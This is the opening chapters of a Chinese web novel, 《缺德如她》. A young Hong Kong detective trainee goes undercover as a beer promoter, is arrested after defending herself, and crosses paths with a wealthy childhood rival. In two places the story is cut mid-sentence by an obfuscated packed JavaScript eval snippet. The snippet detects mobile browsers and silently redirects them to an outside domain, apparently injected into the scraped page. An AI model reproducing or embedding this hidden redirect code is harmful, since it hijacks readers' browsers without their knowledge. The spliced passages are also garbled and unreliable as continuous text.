《缺德如她》
1. 酒吧
四月一日,港岛。
春天的夜晚总是绮艳靡丽,尤其是在这条喧嚣热闹的酒吧街。
衣着时髦大胆的年轻人们嬉笑着涌进光影迷离的酒吧,迫不及待地寻找目标寻欢作乐,没有人给停在街角的那台黑色MPV一个眼神。
在这台几乎与夜色融为一体的黑色MPV里,池镜心坐在后座,闭着眼睛,任由她的老板钟言真拿着各种型号的化妆刷在她脸上扫来扫去。
钟言真一边给她补妆,一边细细嘱咐:“既然是扮啤酒妹,就要扮得像那么回事。你别老扯裙子下摆,走路也要走得风情一点。”
池镜心有些不满地撇了撇嘴:“可是啤酒妹的制服裙真的很短啊,我不扯一下总感觉会走光。还有啊,穿这么高的高跟鞋,不崴脚就不错了,还要走得风情一点,怎么风情啊?”
钟言真轻轻啧了一声:“我当年在CIB工作的时候,为了获取情报,扮什么像什么,演到我亲妈都认不出我来,警务处的同袍们都叫我‘千面魔女’。你啊比起我当年,还差得远了。”
CIB即港岛警务处的刑事情报科,主要负责为警务处搜集情报,“狗仔队”一词最初就是用来称呼CIB的。
钟言真年轻时在CIB工作过几年,后来她离开了警队,开起了侦探事务所。在港岛,私家侦探是合法职业,许多警察离职后都会选择开侦探事务所。
池镜心虽然只有20岁,但在钟言真的侦探事务所工作已经快两年了。
听到钟言真又在忆往昔光辉岁月,池镜心没忍住嗤笑出声:“‘千面魔女’?这么老土的外号,是你现编的吧?”
钟言真把化妆刷一扔,急了:“你以为我讲大话啊?小鬼头头发长见识短!那个年代的外号就是这样的,你不信回头去问你契爷。行了,这妆补得差不多了,赶紧干活去。”
坐在驾驶位上的事务所同事阿豪回过头,笑嘻嘻地给池镜心打气:“阿心加油。”
坐在副驾驶位上的女同事向思移也回过头嘱咐她:“这次的目标有暴力倾向,阿心你要小心点啊,顶不住了就呼叫我们,我们会立马赶来支援你的。”
池镜心不甚在意地摆了摆手:“切,我也有暴力倾向,谁揍谁还不一定呢。”
她拎起装满啤酒瓶的篮子,利落地开门下车,砰的一声将车门关上,走进了喧嚣热闹的酒吧街。
从外表上看,池镜心跟其他推销啤酒的啤酒妹没什么不同,都是年轻漂亮的长相,都穿着啤酒公司发放的稍显清凉的制服裙。可能唯一的区别就是池镜心踩着高跟鞋走路的样子还不太熟练,但旁人顶多以为她是个刚入行的新人。
没有人知道,她脖子上系着的那条黑色choker里藏着微型摄像头,她耳道里也塞着微型耳麦。
走进酒吧,池镜心一眼就看到了不远处正独自饮酒的目标,一个三十多岁衣冠楚楚的青年男子。
钟言真的声音通过微型耳麦,在池镜心的耳道里响起:“阿心,你看到目标了没?”
池镜心:“看到了。他坐在酒吧最里面靠墙的卡座上喝酒。”
钟言真:“你别直接走到他面前,这样目的性太强了容易引起怀疑。你先向周围的顾客推销啤酒,一个一个地推销过去,最后自然而然地走到他面前跟他搭话。”
池镜心:“我知道。”
池镜心环顾了一下四周,离她最近的卡座坐着两男两女,这四人都挺年轻,衣着打扮都属于高雅体面的老钱风。其中一男一女紧挨着彼此,十指相扣,一边聊天一边时不时对视一眼,一看就是一对感情很好的小情侣。
小情侣对面坐着一位穿白衬衣的年轻男子,一位穿米色针织衫的年轻女孩。这两人没有任何肢体接触和眼神接触,应该只是普通朋友。
池镜心不动声色地打量着他们,发现那个白衬衣男子的侧脸似乎有点眼熟。但她没多想,也许只是因为这个人长得很好看吧,好看的人都是相似的,说不定这人跟某个明星撞脸了,所以她才会觉得眼熟。
池镜心从篮子里拎出一瓶啤酒,走到卡座旁,笑着问离她最近的那位穿米色针织衫的女孩:“姐姐,要不要买几瓶啤酒啊?”
池镜心笑得甜甜的,声音也装得嗲嗲的。平时她只要装出这副模样,无论男女老少都不忍心拒绝她的请求。这位米色针织衫女孩自然也无法拒绝她,很爽快地点了点头:“好的,拿四瓶……”
女孩话音未落,一旁穿白衬衫的男子便冷声打断了她的话:“别买她的酒。”
池镜心一愣,这个声音过于冷冽了,跟寒潭冰泉似的。最重要的是,这个声音也有点耳熟。
她看向这个骤然出声的男的,恰好这人也正向她投来目光。
终于看到对方的正脸,池镜心不得不承认,这人长得真好,脸型五官都跟建模似的完美无缺,因五官过于立体深邃,肤色又太白皙,隐隐有一丝混血味儿。
这男的看向池镜心的目光严肃冷漠,又透着些微的鄙夷,实在算不上友好。
池镜心被他这目光一激,有些恼怒地把啤酒瓶扔回了篮子里。
“切,不买算了。”她转身离开前,扔给了这男的一个轻蔑的白眼,并暗暗腹诽:死装男!都来酒吧街了还装什么高岭之花,你看不起我我还看不起你呢。
池镜心离开后,穿米色针织衫的女孩一脸不解地问身旁的男子:“阿昀,你为什么不让我买那个女孩子的酒啊?”
裴清昀淡淡开口:“那个女孩子看起来才十几岁,穿着高跟鞋走路都还不熟练,应该是刚入行做啤酒妹。这种小孩的生意就不应该照顾,她赚不到钱自然就不会再做这一行了。”
啤酒妹虽然是各啤酒公司正儿八经聘请的啤酒推销员,但因经常在工作中被顾客揩油,在大众眼中算不得一份体面的工作。尤其是对于年轻小女孩来说,整晚行走在声色场合中向陌生人推销啤酒,很容易沾染上一些不好的事。
裴清昀的话虽然听起来挺有道理,但穿米色针织衫的女孩略一沉吟,还是忍不住反驳:“小小年纪出来做啤酒妹是不太好,可是万一人家家里穷,或者是出了什么变故急需用钱呢?”
裴清昀没立刻回答她,而是端起面前的玻璃杯,抿了一口气泡水。他的手指如冻玉一般,搭在流光溢彩的玻璃杯上煞是好看。
坐在米色针织衫女孩正对面的年轻女孩以为裴清昀不会回答了,为了避免冷场,她笑着调侃道:“雅菱你老是把人往最善良最无辜的方向想,你平时做大律师小心被当事人骗啊。”
名唤雅菱的女孩子正欲开口,裴清昀徐徐解释道:“刚才那个女孩跟你搭话的时候,笑起来露出的一口牙齿完美到可以去拍口腔广告,一看就是家里花了不少钱正畸过的。她手上戴的那块表也不便宜,怎么可能家里缺钱。这种小孩多半是叛逆期发作,不好好读书,就想出来鬼混挣快钱。”
谭雅菱默默听完他这一番分析,终于点头承认:“好吧,你分析得确实有道理。”
坐在裴清昀正对面的年轻男子也笑着调侃道:“阿昀最看不惯这种小小年纪不学好的teenager了。我记得我们在英国念书的时候,有个teenager想抢他手机,被他把牙都打飞了,鼻血流了一脸。”
谭雅菱:“诶是吗?什么时候的事?”
……
这边这四人聊得有来有往的,那边池镜心也已经把一篮子啤酒兜售得差不多了,只剩下最后两瓶啤酒。她转头看向今晚的目标人物——那个三十多岁的青年男子。那人看起来斯斯文文的,实在不像是有暴力倾向的样子,但他确实卷入了一起跟暴力袭击有关的案子。
前段时间,这个青年男子也是一个人来酒吧喝酒,勾搭上了一个女的。这两人在去开房的路上,突然产生了一点争执,一开始两人还都只是动口不动手,直到那女的骂了一句“你青山(精神病院)跑出来的啊”,这男的立马脸色大变,扑上去殴打对方。女方为了自卫,从兜里摸出一把小刀往男方身上刺,成功将其刺伤。
之后这男的将女方告上了法庭,控告她伤人19,即港岛法例第212章《侵害人身罪条例》第19条,可处监禁3年。
这桩官司对女方非常不利,因为没有监控拍到男方先向她动手的画面,因此很难判定她是正当防卫。
女方的辩护律师查到该男子在童年时期,曾长期被患有精神疾病的父亲打骂虐待,因此律师怀疑这男的只要一听到“你青山出来的啊”这类骂他有精神疾病的粗口,就会情绪失控,暴力袭击辱骂他的人。
女方的辩护律师找到了钟言真的侦探事务所,委托他们拿到相关证据,以助女方打赢这场官司。
池镜心深吸了一口气,暗暗祈祷今晚能顺利拿到证据,千万不要被这暴力男打伤。她迈开步子,走到这男的面前,笑得又甜又嗲:“先生,你一个人来喝酒啊?你帮我把剩下两瓶啤酒买下来,我陪你聊天好不好?”
青年男子饶有兴趣地盯着她看了几秒,笑着点了点头。
池镜心很会聊天,她平时看书涉猎广泛,什么话题都能侃上几句,很快就跟这个青年男子越聊越投机。聊到最后,青年男子终于向她发出邀约:“难得有个小妹妹跟我这么投缘,今晚我请你吃宵夜好不好?”
池镜心绽放出天真又灿烂的笑容,乖巧地点了点头:“好啊。”
池镜心随青年男子一起离开了酒吧,上了该男子的车。青年男子驱车离开酒吧街,钟言真及其两个下属所在的黑色MPV也立刻跟了上去。
几分钟后,裴清昀和三个朋友一起走出了酒吧。裴清昀和谭雅菱并肩走着,两人始终保持着一定的距离。剩下那对小情侣则跟连体婴一样黏在一起。
小情侣中的男生笑呵呵地跟裴清昀和谭雅菱道谢:“我们的婚礼就麻烦二位伴郎伴娘啦!也祝你们早日觅得良缘!”
说完这句话,男生忽然察觉到这个祝福有点不妥,于是又赶紧改口:“哎呀忘了阿昀是独身主义者了,那……祝你好好享受单身生活。”
裴清昀点了点头,没说什么。
谭雅菱笑着回道:“放心吧,我们四个在英国当了那么多年的同学,你俩的婚礼我和阿昀肯定会尽心尽力,不辱使命。”
四人站在酒吧门口寒暄了几句,小情侣便被家里的司机保镖簇拥着乘车离开了,裴清昀家的司机保镖也已经等候在一旁。
谭雅菱家没请过保镖,只有一个司机,这会儿正陪她父母外出。她正想打个车,裴清昀转头看向她:“我让司机先送你回家?”
谭雅菱心头微微一热,立刻点了点头,细声细语地道了声谢。
两人上了车,一左一右地坐在后排,都安安静静地没有说话。谭雅菱能闻到对方身上淡淡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036712|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的金属醛香,像他这个人一样冷寂。
虽然明知道对方只是出于绅士风度才提出送自己回家,但谭雅菱还是止不住地浮想联翩,心头越来越热。
终于,她忍不住试探着问:“阿昀……你以前说你是独身主义者,是不是因为读书时跟你告白的女生太多,才故意拿这个当万能借口啊?”
裴清昀的回答没有丝毫犹豫:“不是借口。我确实不打算谈恋爱结婚。”
“……哦。”
谭雅菱垂下眼睫,微不可闻地叹了口气,深埋在心底多年的情愫仅仅翻涌了片刻,又被悄无声息地埋藏了下去。
此时,带池镜心离开酒吧的青年男子将车停在了一家Bistro外。
“这家Bistro的甜品很不错,像你这样的小女孩肯定会喜欢。”青年男子一边帮池镜心打开安全带,一边笑着说。
池镜心下了车,微型耳麦里传来钟言真的声音:“阿心,别跟他进去吃饭了,速战速决吧。早点收工我们好早点去吃宵夜,今晚我请大家吃烧烤。”
同事向思移和阿豪的声音也从微型耳麦里传来。
向思移:“好耶!多谢真姐!”
阿豪:“老板大气!”
池镜心定了定神,转头看向刚下车的青年男子,一脸冷漠地表示:“我不想跟你一起吃宵夜了。”
“怎么了这是?”青年男子有些诧异。
池镜心随便找了个借口:“刚刚在车上你跟我开黄腔,你好恶心啊。”
青年男子摊开手,装出一副无辜的模样:“我哪有跟你开黄腔啊?”
“你开车的时候,问我谈过恋爱没有,还是不是处。”
青年男子轻蔑地笑了笑:“聊聊天而已,这种程度的话题你都受不了?你第一天出来做啤酒妹的啊?”
“对啊,我就是第一天出来做啤酒妹,谁知道这么不走运遇到你个麻甩佬。”
青年男子面色一沉:“你是不是有病啊?”
池镜心一边脱下高跟鞋,赤脚踩在地上,一边不疾不徐地用语言刺激对方:“我有病?我还觉得你有病呢。你全家都是精神病,你老豆老母是在青山认识的吧?”
青年男子本来还是一副吊儿郎当的样子,一听到“精神病”,“青山”这样的字眼,顿时脸色大变,目眦欲裂。
“臭八婆!你胡说八道什么!”
青年男子迅速向池镜心走来,扬起手要打她。
池镜心稳稳站着没动,她要确保她脖子上戴的那条choker里藏的微型摄像头,能完整记录下这暴力男先向她动手的画面。
等到青年男子的巴掌即将落到她脸上时,池镜心终于在电光石火间灵巧闪身避开了攻击。她像一道轻捷的闪电,一眨眼就闪到了男子背后,重重地踢了他膝盖弯一脚,将其踢倒在地。
池镜心这辈子学啥都三天打鱼两天晒网,唯独格斗术坚持练了十几年,一般人还真不是她的对手,要不然钟言真也不会放心把这种危险的任务交给她。
青年男子惨叫了一声,怒气更甚,挣扎着要站起来揍池镜心。
池镜心没给他这个机会,正要反绞住该男子的胳膊,身后却传来一声暴喝:“不许动!警察!”
池镜心立刻举起手后退了几步。她侧过头看向声音的来源,一支军装巡逻小队正迅速朝她赶来。
冲在最前面的是个很年轻的警察。池镜心瞄了一眼他的肩章,只有一颗四角星花,是个见习督察,估计是刚刚大学毕业考进警队的。
眉目英挺神色严峻的见习督察迅速拿出手铐,将池镜心两只手铐了起来。其他的警员则将青年男子给控制了起来。
池镜心漫不经心地偏过头,跟正在给她上手铐的见习督察说:“是这个麻甩佬先动的手,我可是正当防卫啊,阿sir。”
先前还气势汹汹的青年男子这会儿哭丧着脸跟警察告状:“是这个臭八婆袭击我!阿sir你们一定要查清楚啊!”
“回警署再说。”见习督察冷声回道。
池镜心不甚在意地笑了笑,下一秒她就发现,不远处有一辆车正在等红绿灯。通过半开的车窗,她看到了车里坐着的人——是在酒吧里阻止同伴买她酒的那个死装男。
此时裴清昀也正看向池镜心。今晚第二次见到这个女孩,他终于察觉到对方有些面熟。
但此刻他更多的是感到诧异,心想:现在港岛的teenager真是比英国的teenager还离谱了。一转眼这个啤酒妹就惹上了官司,当街被警察逮捕,但她还云淡风轻地笑着,对自己的处境浑然不在意,估计进警署对她来说已经是家常便饭了。
不知道是谁家的小孩这么顽劣,真是生块叉烧都好过生她。
温柔的夜风吹过这一片繁华璀璨的街区,池镜心和裴清昀隔着晚风四目相对。池镜心可以很明确地从对方冷漠的目光中读到些微嫌弃、鄙夷、厌恶之类的情绪。
她知道这个死装男把她当成小太妹了。但此刻她忽然觉得这个误会还挺有意思的。于是她又笑了起来,并轻佻地冲对方吹了一声口哨。
响亮又嚣张的口哨声穿破夜色,挑衅意味十足。裴清昀就这么莫名其妙地被一个小太妹给隔空调戏了。
裴清昀:“……”
什么东西。
他面无表情地将车窗关上了。
2. 墓园
池镜心被那位年轻的见习督察送上了警车。去警署的路上,她百无聊赖地找各种话题,试图跟见习督察聊聊天打发时间。
“你叫什么名字啊?”
“你是大学一毕业就投考见习督察了吗?”
“你以前有出来步巡过吗?我好像还是第一次见你。”
“哎呀阿sir你放松点嘛,聊聊天而已啦。”
……
无论池镜心怎么搭讪,见习督察始终面色沉肃地目视前方,不知道的还以为他在押送什么头号恐怖分子。
到达警署后,池镜心发现这个警署有好几个警察都是她认识的叔叔阿姨。于是她一路都在神采飞扬地到处跟人打招呼。
“周叔,好久不见!”
警察周叔笑呵呵地回道:“阿心犯什么事了?怎么被阿政给带回来了?”
“误会而已啦。”池镜心边说边瞟了一眼拎她来警署的见习督察,原来这家伙叫阿政。
阿政察觉到她的目光,也看向她,当看到她身上清凉的啤酒妹制服裙,又迅速别开了目光。
没走两步,池镜心又跟一个中年女警打招呼:“红姨,你们警署食堂这会儿还有丝袜奶茶吗?”
红姨急匆匆地走过,看起来很忙的样子,随口回了她一句:“应该有吧,我这会儿忙,待会儿有空了再帮你拿。”
池镜心乖乖应了一声:“哦,红姨你忙吧,不用管我。”
池镜心被阿政带到一旁的长椅上坐下,等着做笔录。
随后阿政离开了一小会儿,他在卫生间门口遇到周叔,随口问道:“怎么你们好像都认识那个阿心?她经常被抓吗?”
“不是这个原因啦。”周叔解释道,“你刚进警队所以不清楚,阿心的母亲生前是我们的同事,她是我们这些老警察看着长大的。这两年她做私家侦探,时不时就因为工作被人误会抓进警署。但据我所知,她并没真犯过什么事。”
阿政点了点头,若有所思。
很快钟言真和向思移、阿豪都赶来了警署,向警察说明了池镜心和那青年男子发生冲突的原委。
池镜心和那男子动手时,她身上的微型摄像头完完整整地记录下了全过程。当时阿豪和向思移也藏在一旁,用手机记录下了那一幕。
三段不同角度的录像都清晰地显示,是那青年男子先向池镜心动的手,池镜心的行为完全属于正当防卫,且并未对对方造成实际伤害。
因此,警方了解过事件原委,并查看过录像后,决定释放池镜心。那青年男子知道池镜心手里的证据十分确凿,也识相地放弃了提告。这事便就这么了结了。
折腾了一晚上,池镜心有些疲惫地伸了个懒腰,正要跟同事们一起离开警署,却听到身后有人叫她。
“阿心。”
她回过头一看,是那位叫阿政的见习督察。
阿政的脸色已经不像之前逮捕她时那么冷肃了。他现在目光清澈,手里还拿着一杯丝袜奶茶。
阿政将奶茶递到了她面前:“抱歉今晚耽误了你这么多时间,我去食堂帮你拿了杯丝袜奶茶。”
池镜心愣了一瞬,笑着接过了奶茶,还浮夸地大力拍了拍阿政的肩膀:“好警察,够醒目!警队的明日之星就是你啦!”
阿政也笑了笑,他踌躇了片刻,正欲说些什么,池镜心却已转身离开了。
他看着那个年轻女孩子的背影,突然生起一种勇气想追上去要个联系方式,恰好此时他身后传来同事的声音:“阿政,过来帮把手。”
阿政抿了抿唇,转身回警署去帮忙了。
从警署出来,池镜心在车上把制服裙脱了,换上了自己平时穿的衣服鞋子,随后钟言真带着大家去大排档吃了一顿烧烤。这一通折腾完,池镜心回到家已经是凌晨两点了。
来到金玺大厦的楼下,池镜心迈着沉重的两条腿开始爬楼。
别看金玺大厦这名字起得辉煌大气,听起来像是个很高端很上档次的场所,实际上,这是一栋建于上个世纪六十年代的老式唐楼,老到连电梯都没有。偏偏池镜心住在顶楼七楼,天天爬楼梯爬出一身汗。
好不容易爬到七楼,池镜心掏出钥匙打开家门,开灯换鞋关门,然后整个人瘫在沙发上,几乎连根手指头都懒得动了。
虽然金玺大厦很老很破,连电梯都没有,但池镜心还是挺满足的了,至少住这里不用交房租。
这套四百多呎两室一厅的老房子,是她公公婆婆(姥爷姥姥)留给她妈妈的。她妈妈因公殉职后,依照遗嘱,这套房子又留给了她。
池镜心十七岁起就独自搬进了这套房子,将主卧用作自己的卧室,次卧改成书房,又添置了一些她喜欢的搞怪创意家具,这套老房子就变成她的温馨小窝了。
这套房子还附带一个私人天台。往常收工早的话,她就去天台上吹吹风,一边喝啤酒一边看夕阳。这样的时光十分惬意,除了有一点孤独。
在沙发上小憩了一会儿,池镜心挣扎着爬起来,打算去浴室泡个澡。去浴室之前,她先把手腕上的手表给摘了下来。
她全身上下的穿搭都很平价,只有这只表贵重,因为这只表是她母亲的遗物。当年她母亲为了庆祝自己升任总督察,斥八万巨资买下了这只名牌手表。池镜心每次接到一些危险系数高的委托,就会戴上这只手表,祈祷母亲赐予自己勇气和力量。
小小的浴室里只能放下一个小小的浴缸,好在池镜心体积也不大,把身体团吧团吧坐在浴缸里,空间刚刚好。
温暖的水流浸泡着她的皮肤,所有神经都松懈下来,思绪也像水草一样肆意飘荡。今天遇见的所有人和事,都在池镜心脑子里自动回放。
当回放到酒吧里那张完美无缺的建模脸时,池镜心突然睁大了眼睛。她终于知道那张脸为什么似曾相识了!那家伙长得超级像她童年记忆里的裴清昀!
她的童年噩梦!那个不知道从哪冒出来的,总是试图跟她抢夺母亲关注的便宜哥哥!一个应该被绑在火箭上发配外太空的讨厌鬼!
池镜心惊疑不定地拿起手机,开始搜裴清昀的名字。
自从她母亲去世后,她就再也没见过裴清昀这个人了,她并不知道裴清昀现在长什么样子。但这个家伙以及他的家族在港岛很有名,在网上搜一搜应该能搜出相关报道来。
很快池镜心就搜到了一条新闻,“申城市长徐康会见港岛鼎钧集团董事局主席裴清昀,鼎钧集团已在申城投资514亿元,近期将……”
她点开这条一个多月以前的新闻,看到了一张合影,然后她倒吸一口凉气,差点把手机扔洗澡水里。
合影里的裴清昀,跟她今晚在酒吧见到的那个建模脸,长得一模一样!
这也太魔幻了……池镜心开始无意识地薅自己的头发,把脑袋薅成了一个凌乱的鸡窝。
明明小时候她从来不觉得那个讨厌鬼长得好看的,但今晚她居然震惊于他的美色,还在大街上流里流气地冲他吹口哨……不是,她有病吧?
她明明应该早就把他认出来的,毕竟他还是跟小时候一样讨人厌,看不上她就算了,还不让同伴买她的酒。池镜心越想越气,暗暗发誓以后要是有机会再见到这个家伙,她一定得好好治治他出口恶气。
洗完澡,吹干头发,池镜心终于爬上了心爱的小床。在睡着前,她忽然叹了口气。她应该不会再见到裴清昀了,就算见到了也没法治他。毕竟人家现在可是千亿财团的董事局主席了。
而她呢,从好地段的屋苑搬到了深水埗的老旧唐楼,在该读大学的年纪早早出来揾食,每月的薪水只够吃两餸饭……
同学少年多不贱。大家都有光明的前途,只有她的人生越混越差。
池镜心越想越气,她气鼓鼓地翻了个身,用被子捂住脑袋闷头大睡。
送谭雅菱回家后,裴清昀回到位于渣甸山的住所,开了一场漫长的跨国会议,凌晨两点了才去洗澡。
细雨般的水珠落下,滑过他苍白的皮肤。因常年健身,适度锻炼,他的身体有着非常赏心悦目的肌肉线条,冲淡了因肤色太过苍白而带来的病态感。
但是凑近细看的话,会发现他身上遍布一道道手术留下的疤痕,哪怕因年代久远变得浅淡了许多,乍一看依然叫人触目惊心。
从浴室出来,他拿起手机看了一眼日历。过几天就是清明节了,到时候得抽出几个小时时间去祭拜契妈……想到这里,他突然神色微变。
先前在酒吧里遇到的那个啤酒妹,他一直觉得有些眼熟。现在他终于想起来了,那个啤酒妹长得很像契妈的女儿阿心。阿心现在应该有二十岁了,恰好跟那个啤酒妹差不多大。
难道真的是……他很快就否定了这个可怕的猜测。那个啤酒妹绝不可能是阿心。
阿心前几年就随她父亲移民加拿大了,这会儿应该在国外的名校读大学,怎么可能跑去酒吧推销啤酒,还当街被警察逮捕,还跟个小流氓一样冲他吹口哨……
他契妈一生行善积德,断不可能生出这种地狱级别的讨债鬼。
几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036713|178722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天后的清明节,池镜心一大早就抱着一大束白玫瑰出门了,坐了好久的车才来到浩园。
浩园是港岛特地建来安葬因公殉职公务员的墓园,池镜心的母亲池若颐总督察就长眠于此。
进了浩园,池镜心蹦蹦哒哒地跑到她母亲的坟前,将那一大束白玫瑰放到了墓碑前。遗像里的池若颐女士眉眼英气,笑意温和。
“妈咪,我过来看你啦!”池镜心欢快地跟池若颐女士的遗像打了个招呼。
“你最近过得怎么样?还在等轮回名额还是已经转世了呢?前段时间我看到网上一个搞玄学的人说,一个人生前积累的功德越多,死后就能越快转世成人。如果这个说法是真的话,那妈咪你人这么好,现在应该已经在读小学了吧。
我最近过得还不错啦,还是在真姐的事务所上班,今年我已经从初级调查员升为高级调查员了……”
池镜心蹲在墓碑前絮絮叨叨地把近况都跟母亲说了一遍,最后站起来捶了捶蹲麻了的腿,像小时候那样跟母亲撒娇:“妈咪啊,你可不可以保佑我早日实现自己的梦想……”
她突然想到什么,顿了一下,“算了,如果你已经转世了,就好好过你的新生活吧。不用为我操心,我会照顾好自己的。”
“妈咪我走了,有空再来看你。”
池镜心撅起嘴巴,在母亲冰冷的遗像上吧唧亲了一口,依依不舍地转身离去。
没走几步路,她又小跑着回到了墓碑前:“对了妈咪,这个花我拿一支走,我前两天在网上看了个用鲜花做书签的视频,还挺有意思的,我拿去做着玩玩。”
池镜心附身从花束中抽出一支白玫瑰,转身离开了浩园。
此时一辆防弹迈巴赫和一辆黑色SUV正一前一后地向浩园驶来。防弹迈巴赫后座上坐着裴清昀,后面那台黑色SUV里坐着的全是裴家的保镖。
裴清昀偏过头,看着放在身侧的那一大束白色康乃馨,琥珀色的瞳仁中隐隐流露着怀念。
司机将车停到了浩园入口处。裴清昀向窗外看去,正好看到一个女孩子手持一支白玫瑰,拉开一辆的士的车门坐了进去。虽然只有短短两三秒时间,但裴清昀还是看清楚了那个女孩子的侧脸——这就是前几天在街边冲他吹口哨的那个小流氓。
他看着那辆的士驶离浩园,心中满是疑惑:那个小流氓不是当街被警察带走了吗?这么快就被放出来了?她来浩园做什么?
的士很快消失在他的视野中。司机下了车,绕到他这边将车门打开,抬起戴着雪白手套的手护住车门上沿,静待他下车。
裴清昀按下心中的疑虑,拿起那束白色康乃馨下了车。
保镖们跟在他身后随他走进浩园,一行人很快就来到了池若颐女士的墓碑前。裴清昀看着墓碑前放着的那一大束白玫瑰,立刻皱起了眉头。
方才那短短两三秒的时间里,他清清楚楚地看到那个小流氓手里拿着一支白玫瑰。
一瞬间,裴清昀的脑子里好似有巨雷炸开,那个可怕的猜测如阴魂不散的水鬼再度浮现。
浩园并不大,目前仅有七十余位因公殉职的港岛公务员安葬在此处。裴清昀迅速查看了一遍浩园内其他的坟墓,只有池若颐的坟前放了一大束白玫瑰。
他终于不得不接受这个炸裂的事实——那个跟小时候的阿心长得极度相似的小流氓,就是阿心本人。
此时,他周围的一众保镖目睹他怪异的举动和极度难看的脸色,都不免有些紧张,一个个屏息凝神大气不敢出。
裴清昀突然转身看向这群保镖,沉声问:“刚才在浩园门口,有个二十岁左右的女孩拿着一支白玫瑰,上了一辆的士离开了,你们有谁注意到了?”
保镖阿锋立刻接话:“我看到了,是不是那个穿白色上衣的女孩?”
方才阿锋就坐在防弹迈巴赫的副驾驶位上,他的视野比裴清昀的还好,因此也清清楚楚地看到了那一幕。
裴清昀又问:“你有记下那辆的士的车牌号吗?”
方才他坐在迈巴赫后座,因视野受限,并未看清那辆的士的车牌号。
阿锋稍微回忆了几秒钟,便清晰地报出了一个车牌号。
“你立刻开车去把那辆的士拦下来,跟那个女孩报我的名字,告诉她,我有事要找她谈谈。”
此时裴清昀脸色铁青,“找她谈谈”这四个字几乎是从牙缝里挤出来的。
阿锋在裴家工作好几年,还是第一次见老板脸色这么难看。他不敢耽误一秒,立刻转身离开了浩园。
3. 色相
池镜心独自坐在的士后座,百无聊赖地玩着手机。就在这时,她的电子邮箱忽然收到一封邮件。她眉心一跳,有些紧张地调整了一下坐姿。
这封邮件来自内地最火的悬疑推理杂志《烧脑推理》。半个多月前,池镜心曾向该杂志投稿了一篇自己写的短篇推理小说。
她屏住呼吸,点开了邮件,只看到一行简短的文字:
“感谢投稿,文笔流畅,核心诡计很精彩,只是情节涉及到亲人之间的互相残杀,有些踩线,予退稿处理,可另投。”
她扔开手机,汪的一声就哭了起来,越哭越大声,把前面开车的的士司机都吓了一跳,频频通过中央后视镜打量她。
此刻池镜心真的是委屈炸了。她从小就特别喜欢看推理小说,梦想成为推理小说家。为了实现这个梦想,她特地跑到侦探事务所打工,有事没事就拉着母亲以前的警察同事们聊天积累素材。
这两年她写了好几篇短篇推理小说,但一篇都没发表出来。一开始那些编辑说她设定太套路,文笔太稚嫩,她就不断练习精进。
这次她好不容易写出一个自己颇为满意的故事,无论是文笔还是核心诡计的设计都比之前有了很大提升。
她信心满满地把这篇短篇小说投了出去,没想到居然还是被拒稿了,而且拒稿理由居然是亲人间互相残杀的情节踩线了!
她怎么知道内地连这种情节都不让写啊!那内地的影视剧也没少拍亲人间互相残杀的情节啊!怎么人家拍得她写不得?!这世道到底给不给新人作者活路啊!
池镜心很崩溃,这会儿阿锋开着SUV到处找她找不到也很崩溃,以为阿心已经彻底堕落成小流氓的裴清昀更加崩溃。
过了一会儿,阿锋实在找不到人,便给裴清昀打了个电话:“不好意思裴先生,我找了好长一段路,始终没看到那辆的士。”
“没事,你先回来吧。”
裴清昀挂掉电话,有些烦躁地按了按眉心。自从前几年程叔移民去了加拿大,他就没有对方的联系方式了。但现在他迫切地需要找到程叔,问问他到底为什么他女儿阿心还留在港岛,她又是为什么堕落成了这个鬼样子。
裴清昀想了想,给助理发了一条消息过去:“这几天派人去加拿大的华人圈打听一下,有没有一个叫程文睿的中年男性,我需要他的联系方式。”
发完消息,裴清昀转头看向池若颐的墓碑。遗像里的池若颐女士风华正茂,笑容亲切。
裴清昀突然感到难过。都说好人有好报,但现实中往往是杀人放火金腰带,修桥铺路无尸骸。他契妈人那么好,却英年早逝,死后第二年丈夫就再娶了,唯一的女儿也变成了人不人鬼不鬼的样子……他替她感到不值。
池镜心这一整天都很难过,回到家断断续续地哭了好几回,第二天一早醒来,她发现自己眼睛都红肿了。池镜心急得不行,她今天还要出去见人的。
一整天她都在家里捣鼓各种消肿的法子,又是冰敷又是涂药,折腾到下午四点,她的眼睛终于看起来正常一些了。她拿起一个粉色的礼品袋,出了门。
今天是她好朋友秦铠澄的生日。秦铠澄的父亲秦正业跟池镜心的母亲曾是同事,前段时间刚升任警务处处长。秦铠澄的母亲廖碧云则是一名妇产科医师,池镜心出生时就是她接生的。
因此,池镜心与这家人渊源颇深,她一出生便认了秦正业为契爷,认了廖碧云为契妈。
自从她母亲去世后,契爷契妈一直挺关心她的,她不想让契爷契妈看到她眼睛红肿的样子,不想让他们忧心。更何况,今天是澄澄的生日,她不想破坏她的生日氛围。
在港岛,警务处处长是个非常重要的实权职位。警务处处长的专用车牌是1号车牌,因此被民众称为“一哥”。同时,警务处处长还会获得位于马己仙峡道50号的编配官邸。
池镜心换了几种交通工具,终于来到了马己仙峡道50号。秦铠澄已经在大门口等她了。
秦铠澄比池镜心小一岁,但个子却比她高一些,气质也更成熟,看起来更像个大姐姐。
“澄澄!”
池镜心迅速调整出灿烂的笑脸,小跑过去给了秦铠澄一个大大的拥抱。
“宝宝!”
秦铠澄也夸张地张开双臂搂住了她。
